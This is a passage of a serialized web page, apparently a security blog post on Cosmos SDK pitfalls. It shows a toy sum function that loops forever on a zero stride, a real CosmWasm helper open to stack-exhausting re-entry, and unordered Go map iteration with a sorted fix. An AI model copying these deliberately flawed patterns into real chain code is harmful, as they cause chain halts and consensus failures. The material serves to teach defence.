end",{"type":23,"tag":504,"props":78593,"children":78594},{"style":5058},[78595],{"type":29,"value":19275},{"type":23,"tag":504,"props":78597,"children":78598},{"style":5041},[78599],{"type":29,"value":78582},{"type":23,"tag":504,"props":78601,"children":78602},{"style":5047},[78603],{"type":29,"value":17111},{"type":23,"tag":504,"props":78605,"children":78606},{"style":5041},[78607],{"type":29,"value":78564},{"type":23,"tag":504,"props":78609,"children":78610},{"style":5058},[78611],{"type":29,"value":357},{"type":23,"tag":504,"props":78613,"children":78614},{"style":5041},[78615],{"type":29,"value":78616},"Stride",{"type":23,"tag":504,"props":78618,"children":78619},{"style":5058},[78620],{"type":29,"value":5333},{"type":23,"tag":504,"props":78622,"children":78623},{"class":5016,"line":5737},[78624,78629,78633,78637,78641,78645,78649,78653],{"type":23,"tag":504,"props":78625,"children":78626},{"style":5041},[78627],{"type":29,"value":78628},"        sum",{"type":23,"tag":504,"props":78630,"children":78631},{"style":5047},[78632],{"type":29,"value":17111},{"type":23,"tag":504,"props":78634,"children":78635},{"style":5041},[78636],{"type":29,"value":78564},{"type":23,"tag":504,"props":78638,"children":78639},{"style":5058},[78640],{"type":29,"value":357},{"type":23,"tag":504,"props":78642,"children":78643},{"style":5041},[78644],{"type":29,"value":78539},{"type":23,"tag":504,"props":78646,"children":78647},{"style":5058},[78648],{"type":29,"value":1380},{"type":23,"tag":504,"props":78650,"children":78651},{"style":5041},[78652],{"type":29,"value":78582},{"type":23,"tag":504,"props":78654,"children":78655},{"style":5058},[78656],{"type":29,"value":13818},{"type":23,"tag":504,"props":78658,"children":78659},{"class":5016,"line":5746},[78660],{"type":23,"tag":504,"props":78661,"children":78662},{"style":5058},[78663],{"type":29,"value":5403},{"type":23,"tag":504,"props":78665,"children":78666},{"class":5016,"line":5813},[78667,78671,78675,78679,78684,78689,78693,78698,78703],{"type":23,"tag":504,"props":78668,"children":78669},{"style":5067},[78670],{"type":29,"value":19037},{"type":23,"tag":504,"props":78672,"children":78673},{"style":5047},[78674],{"type":29,"value":9185},{"type":23,"tag":504,"props":78676,"children":78677},{"style":5467},[78678],{"type":29,"value":78456},{"type":23,"tag":504,"props":78680,"children":78681},{"style":5058},[78682],{"type":29,"value":78683},"{",{"type":23,"tag":504,"props":78685,"children":78686},{"style":5041},[78687],{"type":29,"value":78688},"Sum",{"type":23,"tag":504,"props":78690,"children":78691},{"style":5058},[78692],{"type":29,"value":17378},{"type":23,"tag":504,"props":78694,"children":78695},{"style":5041},[78696],{"type":29,"value":78697},"sum",{"type":23,"tag":504,"props":78699,"children":78700},{"style":5058},[78701],{"type":29,"value":78702},"}, ",{"type":23,"tag":504,"props":78704,"children":78705},{"style":5030},[78706],{"type":29,"value":78707},"nil\n",{"type":23,"tag":504,"props":78709,"children":78710},{"class":5016,"line":5821},[78711],{"type":23,"tag":504,"props":78712,"children":78713},{"style":5058},[78714],{"type":29,"value":5965},{"type":23,"tag":32,"props":78716,"children":78717},{},[78718,78720,78725,78726,78732],{"type":29,"value":78719},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":23,"tag":154,"props":78721,"children":78723},{"className":78722},[],[78724],{"type":29,"value":78582},{"type":29,"value":9358},{"type":23,"tag":154,"props":78727,"children":78729},{"className":78728},[],[78730],{"type":29,"value":78731},"stride",{"type":29,"value":78733},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":23,"tag":32,"props":78735,"children":78736},{},[78737],{"type":29,"value":78738},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":23,"tag":32,"props":78740,"children":78741},{},[78742],{"type":29,"value":78743},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":23,"tag":32,"props":78745,"children":78746},{},[78747],{"type":29,"value":78748},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":23,"tag":320,"props":78750,"children":78752},{"id":78751},"real-world-examples",[78753],{"type":29,"value":78754},"Real-World Examples",{"type":23,"tag":32,"props":78756,"children":78757},{},[78758],{"type":29,"value":78759},"Now, let's examine a few real-world instances.",{"type":23,"tag":32,"props":78761,"children":78762},{},[78763,78765,78771,78772,78778,78780,78786,78788,78794],{"type":29,"value":78764},"In the case of ",{"type":23,"tag":68,"props":78766,"children":78769},{"href":78767,"rel":78768},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[72],[78770],{"type":29,"value":19742},{"type":29,"value":1698},{"type":23,"tag":154,"props":78773,"children":78775},{"className":78774},[],[78776],{"type":29,"value":78777},"CosmWasm",{"type":29,"value":78779}," bug, the helper method ",{"type":23,"tag":154,"props":78781,"children":78783},{"className":78782},[],[78784],{"type":29,"value":78785},"write_to_contract",{"type":29,"value":78787}," negligently calls the untrusted Wasm function ",{"type":23,"tag":154,"props":78789,"children":78791},{"className":78790},[],[78792],{"type":29,"value":78793},"\"allocate\"",{"type":29,"value":357},{"type":23,"tag":32,"props":78796,"children":78797},{},[78798],{"type":23,"tag":68,"props":78799,"children":78802},{"href":78800,"rel":78801},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[72],[78803],{"type":29,"value":78804},"Permalink for snippet",{"type":23,"tag":4743,"props":78806,"children":78808},{"code":78807,"language":5008,"meta":7,"className":5009,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[78809],{"type":23,"tag":154,"props":78810,"children":78811},{"__ignoreMap":7},[78812,78880,78928,78956,78985,79034,79108,79153,79176,79221,79228,79285,79304],{"type":23,"tag":504,"props":78813,"children":78814},{"class":5016,"line":5017},[78815,78819,78824,78828,78832,78836,78841,78845,78849,78853,78858,78862,78867,78871,78876],{"type":23,"tag":504,"props":78816,"children":78817},{"style":5030},[78818],{"type":29,"value":22319},{"type":23,"tag":504,"props":78820,"children":78821},{"style":5139},[78822],{"type":29,"value":78823}," write_to_contract",{"type":23,"tag":504,"props":78825,"children":78826},{"style":5058},[78827],{"type":29,"value":2658},{"type":23,"tag":504,"props":78829,"children":78830},{"style":5467},[78831],{"type":29,"value":888},{"type":23,"tag":504,"props":78833,"children":78834},{"style":5047},[78835],{"type":29,"value":6533},{"type":23,"tag":504,"props":78837,"children":78838},{"style":5467},[78839],{"type":29,"value":78840}," BackendApi",{"type":23,"tag":504,"props":78842,"children":78843},{"style":5058},[78844],{"type":29,"value":4367},{"type":23,"tag":504,"props":78846,"children":78847},{"style":5467},[78848],{"type":29,"value":875},{"type":23,"tag":504,"props":78850,"children":78851},{"style":5047},[78852],{"type":29,"value":6533},{"type":23,"tag":504,"props":78854,"children":78855},{"style":5467},[78856],{"type":29,"value":78857}," Storage",{"type":23,"tag":504,"props":78859,"children":78860},{"style":5058},[78861],{"type":29,"value":4367},{"type":23,"tag":504,"props":78863,"children":78864},{"style":5467},[78865],{"type":29,"value":78866},"Q",{"type":23,"tag":504,"props":78868,"children":78869},{"style":5047},[78870],{"type":29,"value":6533},{"type":23,"tag":504,"props":78872,"children":78873},{"style":5467},[78874],{"type":29,"value":78875}," Querier",{"type":23,"tag":504,"props":78877,"children":78878},{"style":5058},[78879],{"type":29,"value":8632},{"type":23,"tag":504,"props":78881,"children":78882},{"class":5016,"line":4868},[78883,78887,78891,78895,78900,78904,78908,78912,78916,78920,78924],{"type":23,"tag":504,"props":78884,"children":78885},{"style":5041},[78886],{"type":29,"value":5905},{"type":23,"tag":504,"props":78888,"children":78889},{"style":5047},[78890],{"type":29,"value":6533},{"type":23,"tag":504,"props":78892,"children":78893},{"style":5047},[78894],{"type":29,"value":9185},{"type":23,"tag":504,"props":78896,"children":78897},{"style":5467},[78898],{"type":29,"value":78899},"Environment",{"type":23,"tag":504,"props":78901,"children":78902},{"style":5058},[78903],{"type":29,"value":2658},{"type":23,"tag":504,"props":78905,"children":78906},{"style":5467},[78907],{"type":29,"value":888},{"type":23,"tag":504,"props":78909,"children":78910},{"style":5058},[78911],{"type":29,"value":4367},{"type":23,"tag":504,"props":78913,"children":78914},{"style":5467},[78915],{"type":29,"value":875},{"type":23,"tag":504,"props":78917,"children":78918},{"style":5058},[78919],{"type":29,"value":4367},{"type":23,"tag":504,"props":78921,"children":78922},{"style":5467},[78923],{"type":29,"value":78866},{"type":23,"tag":504,"props":78925,"children":78926},{"style":5058},[78927],{"type":29,"value":8183},{"type":23,"tag":504,"props":78929,"children":78930},{"class":5016,"line":4876},[78931,78936,78940,78944,78948,78952],{"type":23,"tag":504,"props":78932,"children":78933},{"style":5041},[78934],{"type":29,"value":78935},"    input",{"type":23,"tag":504,"props":78937,"children":78938},{"style":5047},[78939],{"type":29,"value":6533},{"type":23,"tag":504,"props":78941,"children":78942},{"style":5047},[78943],{"type":29,"value":9185},{"type":23,"tag":504,"props":78945,"children":78946},{"style":5058},[78947],{"type":29,"value":1380},{"type":23,"tag":504,"props":78949,"children":78950},{"style":5467},[78951],{"type":29,"value":5470},{"type":23,"tag":504,"props":78953,"children":78954},{"style":5058},[78955],{"type":29,"value":16309},{"type":23,"tag":504,"props":78957,"children":78958},{"class":5016,"line":5099},[78959,78963,78967,78972,78976,78981],{"type":23,"tag":504,"props":78960,"children":78961},{"style":5058},[78962],{"type":29,"value":5128},{"type":23,"tag":504,"props":78964,"children":78965},{"style":5047},[78966],{"type":29,"value":15803},{"type":23,"tag":504,"props":78968,"children":78969},{"style":5467},[78970],{"type":29,"value":78971}," VmResult",{"type":23,"tag":504,"props":78973,"children":78974},{"style":5058},[78975],{"type":29,"value":2658},{"type":23,"tag":504,"props":78977,"children":78978},{"style":5467},[78979],{"type":29,"value":78980},"u32",{"type":23,"tag":504,"props":78982,"children":78983},{"style":5058},[78984],{"type":29,"value":9325},{"type":23,"tag":504,"props":78986,"children":78987},{"class":5016,"line":5203},[78988,78992,78997,79001,79006,79010,79014,79018,79022,79026,79030],{"type":23,"tag":504,"props":78989,"children":78990},{"style":5030},[78991],{"type":29,"value":5033},{"type":23,"tag":504,"props":78993,"children":78994},{"style":5041},[78995],{"type":29,"value":78996}," out_size",{"type":23,"tag":504,"props":78998,"children":78999},{"style":5047},[79000],{"type":29,"value":5050},{"type":23,"tag":504,"props":79002,"children":79003},{"style":5139},[79004],{"type":29,"value":79005}," to_u32",{"type":23,"tag":504,"props":79007,"children":79008},{"style":5058},[79009],{"type":29,"value":603},{"type":23,"tag":504,"props":79011,"children":79012},{"style":5041},[79013],{"type":29,"value":10412},{"type":23,"tag":504,"props":79015,"children":79016},{"style":5047},[79017],{"type":29,"value":357},{"type":23,"tag":504,"props":79019,"children":79020},{"style":5139},[79021],{"type":29,"value":11186},{"type":23,"tag":504,"props":79023,"children":79024},{"style":5058},[79025],{"type":29,"value":44022},{"type":23,"tag":504,"props":79027,"children":79028},{"style":5047},[79029],{"type":29,"value":5195},{"type":23,"tag":504,"props":79031,"children":79032},{"style":5058},[79033],{"type":29,"value":5061},{"type":23,"tag":504,"props":79035,"children":79036},{"class":5016,"line":5308},[79037,79041,79045,79049,79053,79057,79062,79066,79070,79074,79078,79082,79087,79091,79095,79100,79104],{"type":23,"tag":504,"props":79038,"children":79039},{"style":5030},[79040],{"type":29,"value":5033},{"type":23,"tag":504,"props":79042,"children":79043},{"style":5041},[79044],{"type":29,"value":11207},{"type":23,"tag":504,"props":79046,"children":79047},{"style":5047},[79048],{"type":29,"value":5050},{"type":23,"tag":504,"props":79050,"children":79051},{"style":5041},[79052],{"type":29,"value":45016},{"type":23,"tag":504,"props":79054,"children":79055},{"style":5047},[79056],{"type":29,"value":357},{"type":23,"tag":504,"props":79058,"children":79059},{"style":5139},[79060],{"type":29,"value":79061},"call_function1",{"type":23,"tag":504,"props":79063,"children":79064},{"style":5058},[79065],{"type":29,"value":603},{"type":23,"tag":504,"props":79067,"children":79068},{"style":6297},[79069],{"type":29,"value":78793},{"type":23,"tag":504,"props":79071,"children":79072},{"style":5058},[79073],{"type":29,"value":4367},{"type":23,"tag":504,"props":79075,"children":79076},{"style":5047},[79077],{"type":29,"value":5151},{"type":23,"tag":504,"props":79079,"children":79080},{"style":5058},[79081],{"type":29,"value":1380},{"type":23,"tag":504,"props":79083,"children":79084},{"style":5041},[79085],{"type":29,"value":79086},"out_size",{"type":23,"tag":504,"props":79088,"children":79089},{"style":5047},[79090],{"type":29,"value":357},{"type":23,"tag":504,"props":79092,"children":79093},{"style":5139},[79094],{"type":29,"value":16932},{"type":23,"tag":504,"props":79096,"children":79097},{"style":5058},[79098],{"type":29,"value":79099},"()])",{"type":23,"tag":504,"props":79101,"children":79102},{"style":5047},[79103],{"type":29,"value":5195},{"type":23,"tag":504,"props":79105,"children":79106},{"style":5058},[79107],{"type":29,"value":5061},{"type":23,"tag":504,"props":79109,"children":79110},{"class":5016,"line":5336},[79111,79115,79120,79124,79129,79133,79137,79141,79145,79149],{"type":23,"tag":504,"props":79112,"children":79113},{"style":5030},[79114],{"type":29,"value":5033},{"type":23,"tag":504,"props":79116,"children":79117},{"style":5041},[79118],{"type":29,"value":79119}," target_ptr",{"type":23,"tag":504,"props":79121,"children":79122},{"style":5047},[79123],{"type":29,"value":5050},{"type":23,"tag":504,"props":79125,"children":79126},{"style":5139},[79127],{"type":29,"value":79128}," ref_to_u32",{"type":23,"tag":504,"props":79130,"children":79131},{"style":5058},[79132],{"type":29,"value":603},{"type":23,"tag":504,"props":79134,"children":79135},{"style":5047},[79136],{"type":29,"value":5151},{"type":23,"tag":504,"props":79138,"children":79139},{"style":5041},[79140],{"type":29,"value":11129},{"type":23,"tag":504,"props":79142,"children":79143},{"style":5058},[79144],{"type":29,"value":933},{"type":23,"tag":504,"props":79146,"children":79147},{"style":5047},[79148],{"type":29,"value":5195},{"type":23,"tag":504,"props":79150,"children":79151},{"style":5058},[79152],{"type":29,"value":5061},{"type":23,"tag":504,"props":79154,"children":79155},{"class":5016,"line":5349},[79156,79160,79164,79168,79172],{"type":23,"tag":504,"props":79157,"children":79158},{"style":5067},[79159],{"type":29,"value":14325},{"type":23,"tag":504,"props":79161,"children":79162},{"style":5041},[79163],{"type":29,"value":79119},{"type":23,"tag":504,"props":79165,"children":79166},{"style":5047},[79167],{"type":29,"value":5324},{"type":23,"tag":504,"props":79169,"children":79170},{"style":5083},[79171],{"type":29,"value":5086},{"type":23,"tag":504,"props":79173,"children":79174},{"style":5058},[79175],{"type":29,"value":5333},{"type":23,"tag":504,"props":79177,"children":79178},{"class":5016,"line":5367},[79179,79183,79187,79191,79196,79200,79205,79209,79213,79217],{"type":23,"tag":504,"props":79180,"children":79181},{"style":5067},[79182],{"type":29,"value":17791},{"type":23,"tag":504,"props":79184,"children":79185},{"style":5467},[79186],{"type":29,"value":17796},{"type":23,"tag":504,"props":79188,"children":79189},{"style":5058},[79190],{"type":29,"value":603},{"type":23,"tag":504,"props":79192,"children":79193},{"style":5467},[79194],{"type":29,"value":79195},"CommunicationError",{"type":23,"tag":504,"props":79197,"children":79198},{"style":5047},[79199],{"type":29,"value":5530},{"type":23,"tag":504,"props":79201,"children":79202},{"style":5139},[79203],{"type":29,"value":79204},"zero_address",{"type":23,"tag":504,"props":79206,"children":79207},{"style":5058},[79208],{"type":29,"value":15925},{"type":23,"tag":504,"props":79210,"children":79211},{"style":5047},[79212],{"type":29,"value":357},{"type":23,"tag":504,"props":79214,"children":79215},{"style":5139},[79216],{"type":29,"value":16932},{"type":23,"tag":504,"props":79218,"children":79219},{"style":5058},[79220],{"type":29,"value":17471},{"type":23,"tag":504,"props":79222,"children":79223},{"class":5016,"line":5388},[79224],{"type":23,"tag":504,"props":79225,"children":79226},{"style":5058},[79227],{"type":29,"value":5403},{"type":23,"tag":504,"props":79229,"children":79230},{"class":5016,"line":5397},[79231,79236,79240,79244,79248,79252,79256,79260,79265,79269,79273,79277,79281],{"type":23,"tag":504,"props":79232,"children":79233},{"style":5139},[79234],{"type":29,"value":79235},"    write_region",{"type":23,"tag":504,"props":79237,"children":79238},{"style":5058},[79239],{"type":29,"value":603},{"type":23,"tag":504,"props":79241,"children":79242},{"style":5047},[79243],{"type":29,"value":5151},{"type":23,"tag":504,"props":79245,"children":79246},{"style":5041},[79247],{"type":29,"value":37747},{"type":23,"tag":504,"props":79249,"children":79250},{"style":5047},[79251],{"type":29,"value":357},{"type":23,"tag":504,"props":79253,"children":79254},{"style":5139},[79255],{"type":29,"value":78037},{"type":23,"tag":504,"props":79257,"children":79258},{"style":5058},[79259],{"type":29,"value":20425},{"type":23,"tag":504,"props":79261,"children":79262},{"style":5041},[79263],{"type":29,"value":79264},"target_ptr",{"type":23,"tag":504,"props":79266,"children":79267},{"style":5058},[79268],{"type":29,"value":4367},{"type":23,"tag":504,"props":79270,"children":79271},{"style":5041},[79272],{"type":29,"value":10412},{"type":23,"tag":504,"props":79274,"children":79275},{"style":5058},[79276],{"type":29,"value":933},{"type":23,"tag":504,"props":79278,"children":79279},{"style":5047},[79280],{"type":29,"value":5195},{"type":23,"tag":504,"props":79282,"children":79283},{"style":5058},[79284],{"type":29,"value":5061},{"type":23,"tag":504,"props":79286,"children":79287},{"class":5016,"line":5649},[79288,79292,79296,79300],{"type":23,"tag":504,"props":79289,"children":79290},{"style":5467},[79291],{"type":29,"value":16379},{"type":23,"tag":504,"props":79293,"children":79294},{"style":5058},[79295],{"type":29,"value":603},{"type":23,"tag":504,"props":79297,"children":79298},{"style":5041},[79299],{"type":29,"value":79264},{"type":23,"tag":504,"props":79301,"children":79302},{"style":5058},[79303],{"type":29,"value":5200},{"type":23,"tag":504,"props":79305,"children":79306},{"class":5016,"line":5666},[79307],{"type":23,"tag":504,"props":79308,"children":79309},{"style":5058},[79310],{"type":29,"value":5965},{"type":23,"tag":32,"props":79312,"children":79313},{},[79314,79316,79322,79324,79329],{"type":29,"value":79315},"As users have complete control over ",{"type":23,"tag":154,"props":79317,"children":79319},{"className":79318},[],[79320],{"type":29,"value":79321},"allocate",{"type":29,"value":79323},", there is a possibility to call back ",{"type":23,"tag":154,"props":79325,"children":79327},{"className":79326},[],[79328],{"type":29,"value":78785},{"type":29,"value":79330}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":23,"tag":32,"props":79332,"children":79333},{},[79334,79336,79343],{"type":29,"value":79335},"Additional real-world examples include ",{"type":23,"tag":68,"props":79337,"children":79340},{"href":79338,"rel":79339},"https://github.com/cosmos/cosmos-sdk/issues/16676",[72],[79341],{"type":29,"value":79342},"not returning proper values for malformed txs",{"type":29,"value":357},{"type":23,"tag":24,"props":79345,"children":79347},{"id":79346},"order-was-the-dream-of-man",[79348],{"type":29,"value":79349},"Order Was the Dream of Man",{"type":23,"tag":32,"props":79351,"children":79352},{},[79353],{"type":29,"value":79354},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":23,"tag":32,"props":79356,"children":79357},{},[79358],{"type":29,"value":79359},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":23,"tag":4743,"props":79361,"children":79363},{"code":79362,"language":78229,"meta":7,"className":78230,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[79364],{"type":23,"tag":154,"props":79365,"children":79366},{"__ignoreMap":7},[79367,79400,79407,79436,79473,79502,79523,79535,79572,79580,79587,79594],{"type":23,"tag":504,"props":79368,"children":79369},{"class":5016,"line":5017},[79370,79374,79379,79383,79387,79391,79395],{"type":23,"tag":504,"props":79371,"children":79372},{"style":5030},[79373],{"type":29,"value":34812},{"type":23,"tag":504,"props":79375,"children":79376},{"style":5467},[79377],{"type":29,"value":79378}," ObjectMap",{"type":23,"tag":504,"props":79380,"children":79381},{"style":5030},[79382],{"type":29,"value":51732},{"type":23,"tag":504,"props":79384,"children":79385},{"style":5058},[79386],{"type":29,"value":1380},{"type":23,"tag":504,"props":79388,"children":79389},{"style":5467},[79390],{"type":29,"value":31721},{"type":23,"tag":504,"props":79392,"children":79393},{"style":5058},[79394],{"type":29,"value":1422},{"type":23,"tag":504,"props":79396,"children":79397},{"style":5467},[79398],{"type":29,"value":79399},"string\n",{"type":23,"tag":504,"props":79401,"children":79402},{"class":5016,"line":4868},[79403],{"type":23,"tag":504,"props":79404,"children":79405},{"emptyLinePlaceholder":15},[79406],{"type":29,"value":5734},{"type":23,"tag":504,"props":79408,"children":79409},{"class":5016,"line":4876},[79410,79414,79419,79423,79428,79432],{"type":23,"tag":504,"props":79411,"children":79412},{"style":5030},[79413],{"type":29,"value":78365},{"type":23,"tag":504,"props":79415,"children":79416},{"style":5139},[79417],{"type":29,"value":79418}," EmitEntries",{"type":23,"tag":504,"props":79420,"children":79421},{"style":5058},[79422],{"type":29,"value":603},{"type":23,"tag":504,"props":79424,"children":79425},{"style":5041},[79426],{"type":29,"value":79427},"objectMap",{"type":23,"tag":504,"props":79429,"children":79430},{"style":5467},[79431],{"type":29,"value":79378},{"type":23,"tag":504,"props":79433,"children":79434},{"style":5058},[79435],{"type":29,"value":16850},{"type":23,"tag":504,"props":79437,"children":79438},{"class":5016,"line":5099},[79439,79443,79447,79451,79455,79459,79464,79469],{"type":23,"tag":504,"props":79440,"children":79441},{"style":5067},[79442],{"type":29,"value":5070},{"type":23,"tag":504,"props":79444,"children":79445},{"style":5041},[79446],{"type":29,"value":7977},{"type":23,"tag":504,"props":79448,"children":79449},{"style":5058},[79450],{"type":29,"value":4367},{"type":23,"tag":504,"props":79452,"children":79453},{"style":5041},[79454],{"type":29,"value":41208},{"type":23,"tag":504,"props":79456,"children":79457},{"style":5047},[79458],{"type":29,"value":78481},{"type":23,"tag":504,"props":79460,"children":79461},{"style":5067},[79462],{"type":29,"value":79463}," range",{"type":23,"tag":504,"props":79465,"children":79466},{"style":5041},[79467],{"type":29,"value":79468}," objectMap",{"type":23,"tag":504,"props":79470,"children":79471},{"style":5058},[79472],{"type":29,"value":5333},{"type":23,"tag":504,"props":79474,"children":79475},{"class":5016,"line":5203},[79476,79480,79484,79489,79493,79498],{"type":23,"tag":504,"props":79477,"children":79478},{"style":5041},[79479],{"type":29,"value":28239},{"type":23,"tag":504,"props":79481,"children":79482},{"style":5058},[79483],{"type":29,"value":357},{"type":23,"tag":504,"props":79485,"children":79486},{"style":5041},[79487],{"type":29,"value":79488},"EventManager",{"type":23,"tag":504,"props":79490,"children":79491},{"style":5058},[79492],{"type":29,"value":357},{"type":23,"tag":504,"props":79494,"children":79495},{"style":5139},[79496],{"type":29,"value":79497},"EmitEvent",{"type":23,"tag":504,"props":79499,"children":79500},{"style":5058},[79501],{"type":29,"value":5512},{"type":23,"tag":504,"props":79503,"children":79504},{"class":5016,"line":5308},[79505,79510,79514,79519],{"type":23,"tag":504,"props":79506,"children":79507},{"style":5041},[79508],{"type":29,"value":79509},"            sdk",{"type":23,"tag":504,"props":79511,"children":79512},{"style":5058},[79513],{"type":29,"value":357},{"type":23,"tag":504,"props":79515,"children":79516},{"style":5139},[79517],{"type":29,"value":79518},"NewEvent",{"type":23,"tag":504,"props":79520,"children":79521},{"style":5058},[79522],{"type":29,"value":5512},{"type":23,"tag":504,"props":79524,"children":79525},{"class":5016,"line":5336},[79526,79531],{"type":23,"tag":504,"props":79527,"children":79528},{"style":6297},[79529],{"type":29,"value":79530},"                \"MapContext\"",{"type":23,"tag":504,"props":79532,"children":79533},{"style":5058},[79534],{"type":29,"value":5557},{"type":23,"tag":504,"props":79536,"children":79537},{"class":5016,"line":5349},[79538,79543,79547,79552,79556,79560,79564,79568],{"type":23,"tag":504,"props":79539,"children":79540},{"style":5041},[79541],{"type":29,"value":79542},"                sdk",{"type":23,"tag":504,"props":79544,"children":79545},{"style":5058},[79546],{"type":29,"value":357},{"type":23,"tag":504,"props":79548,"children":79549},{"style":5139},[79550],{"type":29,"value":79551},"NewAttribute",{"type":23,"tag":504,"props":79553,"children":79554},{"style":5058},[79555],{"type":29,"value":603},{"type":23,"tag":504,"props":79557,"children":79558},{"style":5041},[79559],{"type":29,"value":74219},{"type":23,"tag":504,"props":79561,"children":79562},{"style":5058},[79563],{"type":29,"value":4367},{"type":23,"tag":504,"props":79565,"children":79566},{"style":5041},[79567],{"type":29,"value":41208},{"type":23,"tag":504,"props":79569,"children":79570},{"style":5058},[79571],{"type":29,"value":8780},{"type":23,"tag":504,"props":79573,"children":79574},{"class":5016,"line":5367},[79575],{"type":23,"tag":504,"props":79576,"children":79577},{"style":5058},[79578],{"type":29,"value":79579},"            )\n",{"type":23,"tag":504,"props":79581,"children":79582},{"class":5016,"line":5388},[79583],{"type":23,"tag":504,"props":79584,"children":79585},{"style":5058},[79586],{"type":29,"value":70384},{"type":23,"tag":504,"props":79588,"children":79589},{"class":5016,"line":5397},[79590],{"type":23,"tag":504,"props":79591,"children":79592},{"style":5058},[79593],{"type":29,"value":5403},{"type":23,"tag":504,"props":79595,"children":79596},{"class":5016,"line":5649},[79597],{"type":23,"tag":504,"props":79598,"children":79599},{"style":5058},[79600],{"type":29,"value":5965},{"type":23,"tag":32,"props":79602,"children":79603},{},[79604],{"type":29,"value":79605},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":23,"tag":446,"props":79607,"children":79608},{},[79609],{"type":23,"tag":32,"props":79610,"children":79611},{},[79612],{"type":29,"value":79613},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":23,"tag":32,"props":79615,"children":79616},{},[79617,79619,79624],{"type":29,"value":79618},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":23,"tag":154,"props":79620,"children":79622},{"className":79621},[],[79623],{"type":29,"value":69165},{"type":29,"value":79625}," and then fetch the values using the sorted key array before emitting them.",{"type":23,"tag":4743,"props":79627,"children":79629},{"code":79628,"language":78229,"meta":7,"className":78230,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[79630],{"type":23,"tag":154,"props":79631,"children":79632},{"__ignoreMap":7},[79633,79664,79671,79698,79718,79745,79781,79788,79817,79824,79859,79886,79905,79916,79960,79967,79974,79981],{"type":23,"tag":504,"props":79634,"children":79635},{"class":5016,"line":5017},[79636,79640,79644,79648,79652,79656,79660],{"type":23,"tag":504,"props":79637,"children":79638},{"style":5030},[79639],{"type":29,"value":34812},{"type":23,"tag":504,"props":79641,"children":79642},{"style":5467},[79643],{"type":29,"value":79378},{"type":23,"tag":504,"props":79645,"children":79646},{"style":5030},[79647],{"type":29,"value":51732},{"type":23,"tag":504,"props":79649,"children":79650},{"style":5058},[79651],{"type":29,"value":1380},{"type":23,"tag":504,"props":79653,"children":79654},{"style":5467},[79655],{"type":29,"value":31721},{"type":23,"tag":504,"props":79657,"children":79658},{"style":5058},[79659],{"type":29,"value":1422},{"type":23,"tag":504,"props":79661,"children":79662},{"style":5467},[79663],{"type":29,"value":79399},{"type":23,"tag":504,"props":79665,"children":79666},{"class":5016,"line":4868},[79667],{"type":23,"tag":504,"props":79668,"children":79669},{"emptyLinePlaceholder":15},[79670],{"type":29,"value":5734},{"type":23,"tag":504,"props":79672,"children":79673},{"class":5016,"line":4876},[79674,79678,79682,79686,79690,79694],{"type":23,"tag":504,"props":79675,"children":79676},{"style":5030},[79677],{"type":29,"value":78365},{"type":23,"tag":504,"props":79679,"children":79680},{"style":5139},[79681],{"type":29,"value":79418},{"type":23,"tag":504,"props":79683,"children":79684},{"style":5058},[79685],{"type":29,"value":603},{"type":23,"tag":504,"props":79687,"children":79688},{"style":5041},[79689],{"type":29,"value":79427},{"type":23,"tag":504,"props":79691,"children":79692},{"style":5467},[79693],{"type":29,"value":79378},{"type":23,"tag":504,"props":79695,"children":79696},{"style":5058},[79697],{"type":29,"value":16850},{"type":23,"tag":504,"props":79699,"children":79700},{"class":5016,"line":5099},[79701,79706,79710,79714],{"type":23,"tag":504,"props":79702,"children":79703},{"style":5030},[79704],{"type":29,"value":79705},"    